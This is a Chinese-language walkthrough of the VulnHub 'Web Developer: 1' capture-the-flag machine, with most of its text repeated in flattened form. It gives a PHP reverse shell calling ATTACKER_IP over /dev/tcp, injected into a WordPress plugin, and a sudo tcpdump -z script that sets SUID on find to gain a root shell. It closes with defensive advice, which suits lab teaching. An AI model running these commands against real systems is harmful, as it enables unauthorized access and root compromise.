VulnHub-Web Developer: 1-靶机渗透学习
字数 1263 2025-08-15 21:33:26

VulnHub-Web Developer: 1 靶机渗透教学文档

靶机概述

  • 难度等级: 初级(CTF)
  • 发布日期: 2018年11月5日
  • 描述: Zico尝试建立自己的网站,在尝试了一些流行的CMS后决定自己开发,这可能带来了安全隐患
  • 目标: 获取root权限并找到flag.txt
  • 关键提示: 枚举、枚举和枚举!

信息收集阶段

1. 网络扫描

使用nmap进行初始扫描:

nmap -sV -p- 192.168.x.x

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)

2. Web目录枚举

使用dirb或类似工具爆破web目录:

dirb http://192.168.x.x/

发现关键目录:

  • /ipdata/ - 包含一个网络流量包文件

漏洞利用阶段

1. 分析流量包

  • 使用Wireshark或tcpdump分析/ipdata/目录下的流量包
  • 在数据包中发现WordPress凭据:
    • 用户名: webdeveloper
    • 密码: Te5eQg&4sBS!Yr$)wf%(DcAd

2. WordPress登录

  • 使用发现的凭据登录WordPress后台
  • 寻找可编辑的插件文件(如hello.php)注入恶意代码

3. 上传反弹shell

在插件文件中插入PHP反弹shell代码(例如使用pentestmonkey的PHP反弹shell):

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");
?>

激活插件获取反向shell连接

权限提升阶段

1. 初始shell利用

  • 检查当前用户权限
  • 发现无法直接使用tty和sudo

2. 数据库凭证获取

检查WordPress配置文件:

cat /var/www/html/wp-config.php

获取数据库凭证(可能包含其他用户凭据)

3. 用户切换

  • /home目录发现webdeveloper用户
  • 尝试使用数据库中找到的密码或其他常见密码组合
  • 成功登录:
    • 用户名: webdeveloper
    • 密码: MasterOfTheUniverse

4. Sudo权限利用

检查sudo权限:

sudo -l

发现tcpdump命令可用sudo执行

5. 通过tcpdump提权

创建提权脚本:

echo "chmod u+s /usr/bin/find" > shell.sh
chmod +x shell.sh

利用tcpdump执行脚本:

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

6. 最终提权

使用设置了SUID位的find命令获取root shell:

find . -exec /bin/sh -p \; -quit

关键知识点总结

  1. 信息收集:

    • 端口扫描是渗透测试的第一步
    • 目录爆破可能发现隐藏资源
    • 流量分析可能泄露敏感信息
  2. WordPress安全:

    • 默认或弱密码是常见漏洞
    • 插件编辑功能可能导致代码执行
    • wp-config.php包含敏感数据库凭证
  3. Linux提权技术:

    • 检查sudo权限(sudo -l)
    • 利用具有sudo权限的命令(tcpdump)
    • SUID位滥用(find命令)
    • 通过可写脚本实现权限提升
  4. 渗透测试方法论:

    • 枚举是关键(服务、用户、权限)
    • 凭证重用风险(数据库→系统用户)
    • 横向移动与垂直提权结合

防御建议

  1. WordPress安全:

    • 使用强密码并定期更换
    • 限制插件编辑权限
    • 定期更新系统和插件
  2. 系统安全:

    • 限制sudo权限范围
    • 监控SUID/SGID文件变化
    • 禁用不必要的服务
  3. 开发安全:

    • 避免在代码中硬编码凭证
    • 实施最小权限原则
    • 定期进行安全审计
VulnHub-Web Developer: 1 靶机渗透教学文档 靶机概述 难度等级 : 初级(CTF) 发布日期 : 2018年11月5日 描述 : Zico尝试建立自己的网站,在尝试了一些流行的CMS后决定自己开发,这可能带来了安全隐患 目标 : 获取root权限并找到flag.txt 关键提示 : 枚举、枚举和枚举! 信息收集阶段 1. 网络扫描 使用nmap进行初始扫描: 发现开放端口: 22 (SSH) 80 (HTTP) 2. Web目录枚举 使用dirb或类似工具爆破web目录: 发现关键目录: /ipdata/ - 包含一个网络流量包文件 漏洞利用阶段 1. 分析流量包 使用Wireshark或tcpdump分析 /ipdata/ 目录下的流量包 在数据包中发现WordPress凭据: 用户名: webdeveloper 密码: Te5eQg&4sBS!Yr$)wf%(DcAd 2. WordPress登录 使用发现的凭据登录WordPress后台 寻找可编辑的插件文件(如hello.php)注入恶意代码 3. 上传反弹shell 在插件文件中插入PHP反弹shell代码(例如使用pentestmonkey的PHP反弹shell): 激活插件获取反向shell连接 权限提升阶段 1. 初始shell利用 检查当前用户权限 发现无法直接使用tty和sudo 2. 数据库凭证获取 检查WordPress配置文件: 获取数据库凭证(可能包含其他用户凭据) 3. 用户切换 在 /home 目录发现 webdeveloper 用户 尝试使用数据库中找到的密码或其他常见密码组合 成功登录: 用户名: webdeveloper 密码: MasterOfTheUniverse 4. Sudo权限利用 检查sudo权限: 发现 tcpdump 命令可用sudo执行 5. 通过tcpdump提权 创建提权脚本: 利用tcpdump执行脚本: 6. 最终提权 使用设置了SUID位的find命令获取root shell: 关键知识点总结 信息收集 : 端口扫描是渗透测试的第一步 目录爆破可能发现隐藏资源 流量分析可能泄露敏感信息 WordPress安全 : 默认或弱密码是常见漏洞 插件编辑功能可能导致代码执行 wp-config.php包含敏感数据库凭证 Linux提权技术 : 检查sudo权限(sudo -l) 利用具有sudo权限的命令(tcpdump) SUID位滥用(find命令) 通过可写脚本实现权限提升 渗透测试方法论 : 枚举是关键(服务、用户、权限) 凭证重用风险(数据库→系统用户) 横向移动与垂直提权结合 防御建议 WordPress安全 : 使用强密码并定期更换 限制插件编辑权限 定期更新系统和插件 系统安全 : 限制sudo权限范围 监控SUID/SGID文件变化 禁用不必要的服务 开发安全 : 避免在代码中硬编码凭证 实施最小权限原则 定期进行安全审计